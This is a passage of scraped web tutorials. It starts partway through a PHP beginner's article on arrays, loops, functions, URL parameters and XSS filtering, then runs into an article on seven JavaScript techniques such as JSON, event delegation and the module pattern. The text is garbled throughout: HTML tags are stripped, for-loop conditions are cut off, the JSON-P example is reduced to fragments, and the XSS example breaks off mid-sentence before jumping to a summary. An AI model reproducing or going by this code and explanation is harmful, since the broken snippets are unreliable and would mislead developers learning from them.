07   'Language' => 'PHP'

08 );

09 $length = sizeof($lampstack);

10 $keys = array_keys($lampstack);

11 for( $i = 0;$i < $length;$i++ ){

12   echo '



' . $keys[$i] . ':' . $lampstack[$keys[$i]] . '




';

13 }

14 ?>

15 
The function array_keys() gives you back all the keys of an array as an array itself. This way, we can display the keys and the values at the same time.

A shorter way to achieve the same principle, and which works with both arrays and objects, is to use the foreach() loop construct:


01 



02 

03 $lampstack = array(

04   'Operating System' => 'Linux',

05   'Server' => 'Apache',

06   'Database' => 'MySQL',

07   'Language' => 'PHP'

08 );

09 foreach( $lampstack as $key => $stackelm ){

10   echo '



' . $key . ':' . $stackelm . '




';

11 }

12 ?>

13 
This is the shortest way to display a complex construct. But it will fail when $lampstack is not an array. So, checking for sizeof() is still a good plan. You can do this with a conditional.

Using Conditionals
Conditionals are “if” statements, both in the English language and in  almost any programming language I know. So, to test whether an array is  safe to loop over, we could use the sizeof() test:


01 



02 

03 $lampstack = array(

04   'Operating System' => 'Linux',

05   'Server' => 'Apache',

06   'Database' => 'MySQL',

07   'Language' => 'PHP'

08 );

09 if( sizeof($lampstack) > 0 ){

10   foreach( $lampstack as $key => $stackelm ){

11     echo '



' . $key . ':' . $stackelm . '




';

12   }

13 }

14 ?>

15 
Common conditionals are:

if($x > 10 and $x < 20)

Is $x bigger than 10 and less than 20?
if(isset($name))

Has the variable $name been defined?
if($name == 'Chris')

Does the variable $name have the value of "Chris"?
if($name == 'Chris' or $name == 'Vitaly')

Does the variable $name have the value of "Chris" or "Vitaly"?
Cool, but what if we want to make this reusable?

Functions In PHP
To make a task even more generic, we can write a function. In this case, we put the loop and the testing in a function and simply call it with different arrays:


01 

02 function renderList($array){

03   if( sizeof($array) > 0 ){

04     echo '

';

05     foreach( $array as $key => $item ){

06       echo '



' . $key . ':' . $item . '




';

07     }

08     echo '';

09   }

10 }

11 $lampstack = array(

12   'Operating System' => 'Linux',

13   'Server' => 'Apache',

14   'Database' => 'MySQL',

15   'Language' => 'PHP'

16 );

17 renderList($lampstack);

18 

19 $awfulacting = array(

20   'Natalie Portman' => 'Star Wars',

21   'Arnold Schwarzenegger' => 'Batman and Robin',

22   'Keanu Reaves' => '*'

23 );

24 renderList($awfulacting);

25 ?>
Note that functions do not begin with a dollar sign.

We've already seen most of the magic of PHP. The rest is all about  building functions to do all kinds of things: converting strings,  sorting arrays, finding things in other things, accessing the file  system, setting cookies and much more, each of which does one and only  one thing right. I keep catching myself writing complex functions in  PHP, only to realize from looking at the documentation that a native  function already exists for it.

Interacting With The Web: URL Parameters
Let's start playing with the Web in PHP… or, more precisely, playing  with information that comes from the browser's address bar or with forms  that we can re-use. To get parameters from the current URL, we use the  global $_GET array. So, if you call the index.php script with http://localhost/index.php?language=fr&font=large, you can change the display and locale by checking for these settings. The language parameter will be available as $_GET['language'], and the font parameter as  $_GET['font']:


01 

02 $name = 'Chris';

03 

04 // if there is no language defined, switch to English

05 if( !isset($_GET['language']) ){

06   $welcome = 'Oh, hello there, ';

07 }

08 if( $_GET['language'] == 'fr' ){

09   $welcome = 'Salut, ';

10 }

11 switch($_GET['font']){

12   case 'small':

13     $size = 80;

14   break;

15   case 'medium':

16     $size = 100;

17   break;

18   case 'large':

19     $size = 120;

20   break;

21   default:

22     $size = 100;

23   break;

24 }

25 echo '';

26 echo '

'.$welcome.$name.'
';

27 ?>
This means we can now send URL parameters to change the behavior of this document:



http://localhost:8888/index.php
http://localhost:8888/index.php?language=fr
http://localhost:8888/index.php?language=fr&font=large
Notice that predefining a set of values that are acceptable for a  certain parameter is always best. In the earlier example, we may as well  have set the font size in pixels as a parameter and then written that  to the document—but then we would have needed a good validation script  to prevent end users from sending bad values or even malicious code  through the parameter.

Sending malicious code via a parameter without filtering is called cross-site scripting  (XSS), and it is one of the big security problems of the Web. You can  prevent it by not printing out the values of parameters, and instead  using them in comparisons, and by using the filters provided by PHP.

Say you want to allow users to enter data in a form that you will display later on. Make sure to filter out the results:


01 

02   $search_html = filter_input(INPUT_GET, 's',

03                               FILTER_SANITIZE_SPECIAL_CHARS);

04   $search_url = filter_input(INPUT_GET, 's',

05                              FILTER_SANITIZE_ENCODED);

06 ?>

07 

"index.php" method="get">

08   



09     for="search">Search:

10     "text" name="s" id="search"

11            value="">

12   

13   

class="bar">"submit" value="Make it so">

14 

15 

16 if(isset($_GET['s'])){

17   echo '

You searched for '.$search_html.'
';

18   echo '.$search_url.'">Search again.

';

19 }

20 ?>
See this filtering example in action. Without the filters, attackers could send parameters like index.php?s="

2

 Using header() and json_encode(), you could do any complex conversion and filtering in PHP and re-use it in JavaScript.

`Summary`

I hope this gives you an idea of what PHP is and how you can use it  to access Web services and to build your own APIs to re-use in  JavaScript. Using PHP for the Web boils down to a few tricks:

Use cURL to load data from Web resources;
Convert information with simplexml_load_string() and json_decode();
Check the structure of returned information with print_r();
Loop over information with foreach();
Use the $_GET[] and $_POST[] arrays to re-use form data and URL parameters;
Filter information from the user and from URLs using the built-in PHP filtering methods.
A lot of documentation is out there, and your best bet is to go directly to the PHP home page  to read or download the documentation. Check out the user comments in  particular, because that is where the real gems and examples of  implementation appear.

Seven JavaScript Things I Wish I Knew Much Earlier In My Career

2012-01-01T01:00:00.001-08:00

I’ve been writing JavaScript code for much longer than I care to remember. I am very excited about the language’s recent success; it’s good to be a part of that success story. I’ve written dozens of articles, book chapters and one full book on the matter, and yet I keep finding new things. Here are some of the “aha!” moments I’ve had in the past, which you can try out rather than waiting for them to come to you by chance.

[Editor's note: A must-have for professional Web designers and developers: The Printed Smashing Books Bundle is full of practical insight for your daily work. Get the bundle right away!]

Shortcut Notations

One of the things I love most about JavaScript now is shortcut notations to generate objects and arrays. So, in the past when we wanted to create an object, we wrote:

1var car = new Object();
2car.colour = 'red';
3car.wheels = 4;
4car.hubcaps = 'spinning';
5car.age = 4;

The same can be achieved with:

1var car = {
2  colour:'red',
3  wheels:4,
4  hubcaps:'spinning',
5  age:4
6}

Much shorter, and you don’t need to repeat the name of the object. Right now, car is fine, but what happens when you use invalidUserInSession? The main gotcha in this notation is IE. Never ever leave a trailing comma before the closing curly brace or you’ll be in trouble.
The other handy shortcut notation is for arrays. The old school way of defining arrays was this:

1var moviesThatNeedBetterWriters = new Array(
2  'Transformers','Transformers2','Avatar','Indiana Jones 4'
3);

The shorter version of this is:

1var moviesThatNeedBetterWriters = [
2  'Transformers','Transformers2','Avatar','Indiana Jones 4'
3];

The other thing about arrays is that there is no such thing as an associative array. You will find a lot of code examples that define the above car example like so:

1var car = new Array();
2car['colour'] = 'red';
3car['wheels'] = 4;
4car['hubcaps'] = 'spinning';
5car['age'] = 4;

This is not Sparta; this is madness—don’t bother with this. “Associative arrays” is a confusing name for objects.
Another very cool shortcut notation is the ternary notation for conditions. So, instead of the following…

1var direction;
2if(x < 200){
3  direction = 1;
4} else {
5  direction = -1;
6}

… You could write a shorter version using the ternary notation:

`1`	`var` `direction = x < 200 ? 1 : -1;`

The true case of the condition is after the question mark, and the other case follows the colon.

JSON As A Data Format

Before I discovered JSON to store data, I did all kinds of crazy things to put content in a JavaScript-ready format: arrays, strings with control characters to split, and other abominations. The creation of JSON by Douglas Crockford changed all that. Using JSON, you can store complex data in a format that is native to JavaScript and doesn't need any extra conversion to be used immediately.
JSON is short for "JavaScript Object Notation" and uses both of the shortcuts we covered earlier.
So, if I wanted to describe a band, for example, I could do the following:

01var band = {
02  "name":"The Red Hot Chili Peppers",
03  "members":[
04    {
05      "name":"Anthony Kiedis",
06      "role":"lead vocals"
07    },
08    {
09      "name":"Michael 'Flea' Balzary",
10      "role":"bass guitar, trumpet, backing vocals"
11    },
12    {
13      "name":"Chad Smith",
14      "role":"drums,percussion"
15    },
16    {
17      "name":"John Frusciante",
18      "role":"Lead Guitar"
19    }
20  ],
21  "year":"2009"
22}

You can use JSON directly in JavaScript and, when wrapped in a function call, even as a return format of APIs. This is called JSON-P and is supported by a lot of APIs out there. You can use a data endpoint, returning JSON-P directly in a script node:

01
"delicious">
12

This calls the Delicious Web service to get my latest JavaScript bookmarks in JSON format and then displays them as an unordered list.
In essence, JSON is probably the most lightweight way of describing complex data—and it runs in a browser. You can even use it in PHP using the json_decode() function.

Native JavaScript Functions (Math, Array And String)

One thing that amazed me is how much easier my life got once I read up thoroughly on the math and string functions of JavaScript. You can use these to avoid a lot of looping and conditions. For example, when I had the task of finding the largest number in an array of numbers, I used to write a loop, like so:

1var numbers = [3,342,23,22,124];
2var max = 0;
3for(var i=0;i
4  if(numbers[i] > max){
5    max = numbers[i];
6  }
7}
8alert(max);

This can be achieved without a loop:

1var numbers = [3,342,23,22,124];
2numbers.sort(function(a,b){return b - a});
3alert(numbers[0]);

Notice that you cannot use sort() on a number array because it sorts lexically. There's a good tutorial on sort() here in case you need to know more.
Another interesting method is Math.max(). This one returns the largest number from a list of parameters:

`1`	`Math.max(12,123,3,2,433,4);` `// returns 433`

Because this tests for numbers and returns the largest one, you can use it to test for browser support of certain properties:

1var scrollTop= Math.max(
2 doc.documentElement.scrollTop,
3 doc.body.scrollTop
4);

This works around an Internet Explorer problem. You can read out the scrollTop of the current document, but depending on the DOCTYPE of the document, one or the other property is assigned the value. When you use Math.max() you get the right number because only one of the properties returns one; the other will be undefined. You can read more about shortening JavaScript with math functions here.
Other very powerful functions to manipulate strings are split() and join(). Probably the most powerful example of this is writing a function to attach CSS classes to elements.
The thing is, when you add a class to a DOM element, you want to add it either as the first class or to already existing classes with a space in front of it. When you remove classes, you also need to remove the spaces (which was much more important in the past when some browsers failed to apply classes with trailing spaces).
So, the original function would be something like:

1function addclass(elm,newclass){
2  var c = elm.className;
3  elm.className = (c === '') ? newclass : c+' '+newclass;
4}

You can automate this using the split() and join() methods:

1function addclass(elm,newclass){
2  var classes = elm.className.split(' ');
3  classes.push(newclass);
4  elm.className = classes.join(' ');
5}

This automatically ensures that classes are space-separated and that yours gets tacked on at the end.

Event Delegation

Events make Web apps work. I love events, especially custom events, which make your products extensible without your needing to touch the core code. The main problem (and actually one of its strengths) is that events are removed from the HTML—you apply an event listener to a certain element and then it becomes active. Nothing in the HTML indicates that this is the case though. Take this abstraction issue (which is hard for beginners to wrap their heads around) and the fact that "browsers" such as IE6 have all kind of memory problems and too many events applied to them, and you'll see that not using too many event handlers in a document is wise.
This is where event delegation comes in. When an event happens on a certain element and on all the elements above it in the DOM hierarchy, you can simplify your event handling by using a single handler on a parent element, rather than using a lot of handlers.
What do I mean by that? Say you want a list of links, and you want to call a function rather than load the links. The HTML would be:

1

Great Web resources
2

"resources">
3  

"http://opera.com/wsc">Opera Web Standards Curriculum

4  

"http://sitepoint.com">Sitepoint

5  

"http://alistapart.com">A List Apart

6  

"http://yuiblog.com">YUI Blog

7  

"http://blameitonthevoices.com">Blame it on the voices

8  

"http://oddlyspecific.com">Oddly specific

9

The normal way to apply event handlers here would be to loop through the links:

01// Classic event handling example
02(function(){
03  var resources = document.getElementById('resources');
04  var links = resources.getElementsByTagName('a');
05  var all = links.length;
06  for(var i=0;i
07    // Attach a listener to each link
08    links[i].addEventListener('click',handler,false);
09  };
10  function handler(e){
11    var x = e.target; // Get the link that was clicked
12    alert(x);
13    e.preventDefault();
14  };
15})();

This could also be done with a single event handler:

01(function(){
02  var resources = document.getElementById('resources');
03  resources.addEventListener('click',handler,false);
04  function handler(e){
05    var x = e.target; // get the link tha
06    if(x.nodeName.toLowerCase() === 'a'){
07      alert('Event delegation:' + x);
08      e.preventDefault();
09    }
10  };
11})();

Because the click happens on all the elements in the list, all you need to do is compare the nodeName to the right element that you want to react to the event.
Disclaimer: while both of the event examples above work in browsers, they fail in IE6. For IE6, you need to apply an event model other than the W3C one, and this is why we use libraries for these tricks.
The benefits of this approach are more than just being able to use a single event handler. Say, for example, you want to add more links dynamically to this list. With event delegation, there is no need to change anything; with simple event handling, you would have to reassign handlers and re-loop the list.

Anonymous Functions And The Module Pattern

One of the most annoying things about JavaScript is that it has no scope for variables. Any variable, function, array or object you define that is not inside another function is global, which means that other scripts on the same page can access—and will usually override— them.
The workaround is to encapsulate your variables in an anonymous function and call that function immediately after you define it. For example, the following definition would result in three global variables and two global functions:

1var name = 'Chris';
2var age = '34';
3var status = 'single';
4function createMember(){
5  // [...]
6}
7function getMemberDetails(){
8  // [...]
9}

Any other script on the page that has a variable named status could cause trouble. If we wrap all of this in a name such as myApplication, then we work around that issue:

01var myApplication = function(){
02  var name = 'Chris';
03  var age = '34';
04  var status = 'single';
05  function createMember(){
06    // [...]
07  }
08  function getMemberDetails(){
09    // [...]
10  }
11}();

This, however, doesn't do anything outside of that function. If this is what you need, then great. You may as well discard the name then:

01(function(){
02  var name = 'Chris';
03  var age = '34';
04  var status = 'single';
05  function createMember(){
06    // [...]
07  }
08  function getMemberDetails(){
09    // [...]
10  }
11})();

If you need to make some of the things reachable to the outside, then you need to change this. In order to reach createMember() or getMemberDetails(), you need to return them to the outside world to make them properties of myApplication:

01var myApplication = function(){
02  var name = 'Chris';
03  var age = '34';
04  var status = 'single';
05  return{
06    createMember:function(){
07      // [...]
08    },
09    getMemberDetails:function(){
10      // [...]
11    }
12  }
13}();
14// myApplication.createMember() and
15// myApplication.getMemberDetails() now works.

This is called a module pattern or singleton. It was mentioned a lot by Douglas Crockford and is used very much in the Yahoo User Interface Library YUI. What ails me about this is that I need to switch syntaxes to make functions or variables available to the outside world. Furthermore, if I want to call one method from another, I have to call it preceded by the myApplication name. So instead, I prefer simply to return pointers to the elements that I want to make public. This even allows me to shorten the names for outside use:

01var myApplication = function(){
02  var name = 'Chris';
03  var age = '34';
04  var status = 'single';
05  function createMember(){
06    // [...]
07  }
08  function getMemberDetails(){
09    // [...]
10  }
11  return{
12    create:createMember,
13    get:getMemberDetails
14  }
15}();
16//myApplication.get() and myApplication.create() now work.

I've called this "revealing module pattern."

Allowing For Configuration

Whenever I've written JavaScript and given it to the world, people have changed it, usually when they wanted it to do things that it couldn't do out of the box—but also often because I made it too hard for people to change things.
The workaround is to add configuration objects to your scripts. I've written about JavaScript configuration objects in detail, but here's the gist:

Have an object as part of your whole script called configuration.
In it, store all of the things that people will likely change when they use your script:
- CSS ID and class names;
- Strings (such as labels) for generated buttons;
- Values such as "number of images being displayed," "dimensions of map";
- Location, locale and language settings.
Return the object as a public property so that people can override it.

Most of the time you can do this as a last step in the coding process. I've put together an example in "Five things to do to a script before handing it over to the next developer."
In essence, you want to make it easy for people to use your code and alter it to their needs. If you do that, you are much less likely to get confusing emails from people who complain about your scripts and refer to changes that someone else actually did.

Interacting With The Back End

One of the main things I learned from all my years with JavaScript is that it is a great language with which to make interactive interfaces, but when it comes to crunching numbers and accessing data sources, it can be daunting.
Originally, I learned JavaScript to replace Perl because I was sick of copying things to a cgi-bin folder in order to make it work. Later on, I learned that making a back-end language do the main data churning for me, instead of trying to do all in JavaScript, makes more sense with regard to security and language.
If I access a Web service, I could get JSON-P as the returned format and do a lot of data conversion on the client, but why should I when I have a server that has a richer way of converting data and that can return the data as JSON or HTML… and cache it for me to boot?
So, if you want to use AJAX, learn about HTTP and about writing your own caching and conversion proxy. You will save a lot of time and nerves in the long run.

Browser-Specific Code Is A Waste Of Time. Use Libraries!

When I started Web development, the battle between using document.all and using document.layers as the main way to access the document was still raging. I chose document.layers because I liked the idea of any layer being its own document (and I had written more than enough document.write solutions to last a lifetime). The layer model failed, but so did document.all. When Netscape 6 went all out supporting only the W3C DOM model, I loved it, but end users didn't care. End users just saw that this browser didn't show the majority of the Internets correctly (although it did)—the code we produced was what was wrong. We built short-sighted code that supported a state-of-the-art environment, and the funny thing about the state of the art is that it is constantly changing.
I've wasted quite some time learning the ins and outs of all of the browsers and working around their issues. Doing this back then secured my career and ensured that I had a great job. But we shouldn't have to go through this trial by fire any longer.
Libraries such as YUI, jQuery and Dojo are here to help us with this. They take on the problems of browsers by abstracting the pains of poor implementation, inconsistencies and flat-out bugs, and relieve us of the chore. Unless you want to beta test a certain browser because you're a big fan, don't fix browser issues in your JavaScript solutions, because you are unlikely to ever update the code to remove this fix. All you would be doing is adding to the already massive pile of outdated code on the Web.
That said, relying solely on libraries for your core skill is short-sighted. Read up on JavaScript, watch some good videos and tutorials on it, and understand the language. (Tip: closures are God's gift to the JavaScript developer.) Libraries will help you build things quickly, but if you assign a lot of events and effects and need to add a class to every HTML element in the document, then you are doing it wrong.

Resources

In addition to the resources mentioned in this article, also check out the following to learn more about JavaScript itself:

Douglas Crockford on JavaScript
An in-depth video Lecture series.
The Opera Web Standards Curriculum
With a detailed section on JavaScript.